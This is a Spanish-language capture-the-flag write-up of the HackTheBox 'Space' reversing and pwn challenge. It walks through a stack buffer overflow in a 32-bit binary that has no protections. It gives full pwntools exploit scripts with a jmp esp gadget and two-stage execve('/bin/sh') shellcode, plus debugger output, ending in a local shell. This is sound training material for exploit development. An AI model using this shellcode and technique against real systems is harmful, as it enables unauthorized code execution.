xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Space



Reversing


El binario entregado de primeras no nos deja claro el uso que este tiene o que hace, ya que el programa muestra un prompt pero al enviar alguna data no devuelve nada

❯ ./space
> AAAABBBB  

Iniciamos por desensamblar la función main, esta muuestra un prompt con printf y llama a fflush pasandole como argumento el puntero al stdout, es redundante

Luego de ello lee 0x1f o 31 bytes desde el stdin o 0 utilizando read y lo guarda en una variable llamada buffer, luego de ello simplemente llama a la función vuln

La función vuln recibe como argumento el buffer y lo copia a un nuevo destino en ebp - 14, un destino mas pequeño que el origen ocasiona un buffer overflow


Explotación


Iniciamos mirando las protecciones con checksec, todas están deshabilitadas y no tenemos restricciones asi que deberia ser una explotación bastante sencilla

❯ checksec space
[*] '/home/user/space'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing  
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments

Podemos crear un payload, enviaremos 14 A's para rellenar el buffer antes de ebp, 4 B's que seran el valor de ebp en el leave y 4 C's que tomaran el valor del return address, y finalmente algunas D's que simplemente se guardarán en el stack

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./space", "continue")  

payload  = b""
payload += b"A" * 14
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 16

shell.sendlineafter(b"> ", payload)
shell.interactive()

Al ejecutar el exploit podemos ver la primera restricción, el problema es que de todas nuestras D's solo se escriben 9 en el stack, aunque saltemos al esp es muy poco

Program received signal SIGSEGV, Segmentation fault.  
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xff881270:     "DDDDDDDDD"
pwndbg>

Los unicos 9 bytes son un espacio muy limitado para un shellcode, algo interesante es que 17 bytes después del stack se encuentra nuevamente el inicio del buffer

pwndbg> x/s $esp+17
0xff881282:     'A' <repetidos 14 veces>, "BBBBCCCCDDDDDDDDD"  
pwndbg>

Entonces, iniciamos buscando una forma de ejecutar un pequeño stage usaremos un gadget que ejecuta un jmp esp para ejecutar un par de instrucciones y un short jump

❯ ropper --file space --jmp esp  

JMP Instructions
================

0x0804919f: jmp esp;

1 gadgets found

Lo primero que ejecutaremos serán las 2 primeras instrucciones de un shellcode que pesan 3 bytes, luego de ello hacemos un short jump 14 bytes más adelante

#!/usr/bin/python3
from pwn import gdb, p32, asm

shell = gdb.debug("./space", "b *0x804919f\ncontinue")  

shellback = ("""
    push 0xb        # execve()
    pop eax         # $eax = execve()

    jmp $+0xe       # short jump
""")

offset = 18
junk = b"A" * offset

payload  = b""
payload += junk
payload += p32(0x804919f) # jmp esp;
payload += asm(shellback) # 1nd stage

shell.sendlineafter(b"> ", payload)
shell.interactive()

Entonces, llegamos al breakpoint en el jmp esp, este ejecutará las 2 instrucciones del shellcode y saltará al inicio del buffer que ahora mismo apunta a las 18 A's

Breakpoint 1, 0x0804919f in _ ()
pwndbg> x/i $eip
=> 0x804919f <_+13>:    jmp    esp
pwndbg> x/3i $esp
   0xff8645a0:  push   0xb
   0xff8645a2:  pop    eax
   0xff8645a3:  jmp    0xff8645b1
pwndbg> x/s 0xff8645b1
0xff8645b1:     'A' <repetidos 18 veces>  
pwndbg>

El shellcode pesa apenas 21 bytes y ya enviamos 3 de ellos, lo que nos deja 18 restantes, afortunadamente 18 bytes es justo el tamaño del offset por lo que podemos cambiarlo por las A's, asi ejecutamos el shellcode en 2 partes

#!usr/bin/python3
from pwn import process, p32, asm

shell = process("./space")

shellback = ("""
    push 0xb        # execve()
    pop eax         # $eax = execve()

    jmp $+0xe       # short jump
""")

shellcode = ("""
    push 0x68       # $esp = &"h"
    pushw 0x732f    # $esp = &"/sh"
    push 0x6e69622f # $esp = &"/bin/sh"  
    mov ebx, esp    # $ebx = &"/bin/sh"  

    xor ecx, ecx    # $ecx = NULL
    cdq             # $edx = NULL

    int 0x80        # syscall
""")

payload  = b""
payload += asm(shellcode) # 2nd stage
payload += p32(0x804919f) # jmp esp;
payload += asm(shellback) # 1nd stage

shell.sendlineafter(b"> ", payload)
shell.interactive()

Al ejecutar el exploit el primer stage ejecuta una parte de las instrucciones y salta al segundo stage que ejecuta el resto del shellcode devolviendo asi la shell

❯ python3 solve.py
[+] Starting local process './space': pid 195324  
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$